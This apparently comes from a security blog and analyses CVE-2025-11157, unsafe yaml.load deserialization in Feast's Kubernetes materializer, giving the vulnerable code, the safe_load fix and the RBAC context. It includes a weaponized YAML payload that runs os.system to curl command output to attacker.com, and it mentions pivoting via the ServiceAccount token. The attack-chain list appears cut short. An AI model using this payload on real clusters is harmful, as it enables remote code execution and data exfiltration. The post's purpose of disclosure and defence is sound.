Feast <= 0.53.0 uses the unsafe `yaml.load()` method in its Kubernetes materializer component. This allows an attacker who can modify the materialization job's configuration (via Kubernetes ConfigMaps) to inject Python objects that execute code upon deserialization. The fix is a one-line change to `yaml.safe_load()` in version 0.54.0.
A high-severity deserialization vulnerability in the Feast machine learning feature store allows attackers with access to Kubernetes ConfigMaps to execute arbitrary code via malicious YAML tags.
In the modern tech stack, the Feature Store is the nervous system of Machine Learning operations. It sits right in the middle of your raw data and your production models, serving up historical data for training and fresh data for inference. Feast (Feature Store) is the open-source darling of this space, widely deployed on Kubernetes clusters to crunch massive datasets.
Because of its role, a Feature Store is a high-value target. It needs read access to your data lakes (S3, GCS, Snowflake) and write access to your online stores (Redis, DynamoDB). If you own the Feature Store, you don't just own the infrastructure; you own the integrity of the AI models themselves.
Enter CVE-2025-11157. It turns out that Feast's Kubernetes materializer—the worker component responsible for moving data around—had a classic, almost nostalgic vulnerability buried in its startup logic: unsafe YAML deserialization. It’s the kind of bug that feels like it belongs in 2015, yet here we are, executing arbitrary code via configuration files in 2025.
The vulnerability lies in how Python libraries handle YAML. For years, the security community has screamed from the rooftops that yaml.load() is dangerous. Why? Because the YAML specification isn't just for data serialization; it supports custom tags that can instantiate arbitrary programming objects. In Python's PyYAML library, the default loader (Loader=yaml.Loader) is happy to construct any Python object you tell it to, including os.system.
In Feast's case, the Kubernetes materializer job spins up a pod to process data. When this pod starts, it reads its configuration from two files located at /var/feast/feature_store.yaml and /var/feast/materialization_config.yaml. These files are typically mounted into the pod via Kubernetes ConfigMaps.
The flaw is simple but devastating: the code used yaml.load to parse these configuration files without sanitization. The developer treated a configuration file as a static text blob, while the Python interpreter treated it as a serialized executable object. This disconnect is where the exploit lives.
Let's look at the actual code in feast/sdk/python/feast/infra/compute_engines/kubernetes/main.py. This script is the entry point for the worker pods. Before the patch, the logic for loading the configuration looked something like this:
# The vulnerable implementation
import yaml
# ... inside the loading function
with open(repo_config_path) as f:
# Loader=yaml.Loader is the kiss of death here
repo_config = yaml.load(f, Loader=yaml.Loader)
with open(materialization_config_path) as f:
materialization_config = yaml.load(f, Loader=yaml.Loader)The fix, applied in version 0.54.0, is the textbook remediation for this class of bugs. They switched to safe_load, which restricts the parser to standard YAML types (lists, dicts, strings, ints) and refuses to instantiate complex objects.
# The patched implementation (Commit b2e37ff)
import yaml
# ... inside the loading function
with open(repo_config_path) as f:
# safe_load removes the ability to construct arbitrary objects
repo_config = yaml.safe_load(f)
with open(materialization_config_path) as f:
materialization_config = yaml.safe_load(f)It is literally a four-character change (load -> safe_load) that closes a massive RCE hole.
To exploit this, we don't need to intercept network traffic or bypass a firewall. We need to influence the Kubernetes ConfigMap that populates /var/feast/feature_store.yaml. In many organizations, developers or CI/CD pipelines have permissions to edit ConfigMaps (edit or patch verbs) even if they aren't cluster admins. That is our entry point.
The attack chain looks like this:
feast-feature-store-config.Here is what a weaponized feature_store.yaml looks like:
project: production_fraud_detection
registry: s3://my-bucket/registry.db
provider: local
# The harmless looking config ends here.
# Below is the payload that executes 'id' and sends it to a request bin.
exploit_trigger: !!python/object/apply:os.system
args: ["curl -X POST -d @<(id) https://attacker.com/callback"]When the vulnerable Python script processes line 8, it doesn't just read the string; it imports the os module and executes the system command. Game over.
Why is this significant? "If you can write to ConfigMaps, aren't you already an admin?" Not necessarily. In Kubernetes Role-Based Access Control (RBAC), the permission to modify configuration data is often granted more broadly than the permission to exec into pods or create privileged containers.
By leveraging this vulnerability, an attacker elevates a "configuration write" primitive into full Remote Code Execution inside a pod. This pod likely has a ServiceAccount token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token.
Since Feast interacts with cloud infrastructure, this token (or associated Workload Identity) likely has permissions to:
This is a classic pivot point: use a low-level misconfiguration to gain a high-level shell.
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
feast Feast | <= 0.53.0 | 0.54.0 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-502 (Deserialization of Untrusted Data) |
| CVSS Score | 7.8 (High) |
| Attack Vector | Local / Config Injection |
| Library | PyYAML |
| Function | yaml.load(Loader=yaml.Loader) |
| EPSS Score | 0.00278 |
The application deserializes untrusted data without sufficiently verifying that the resulting data will be valid.
Get the latest CVE analysis reports delivered to your inbox.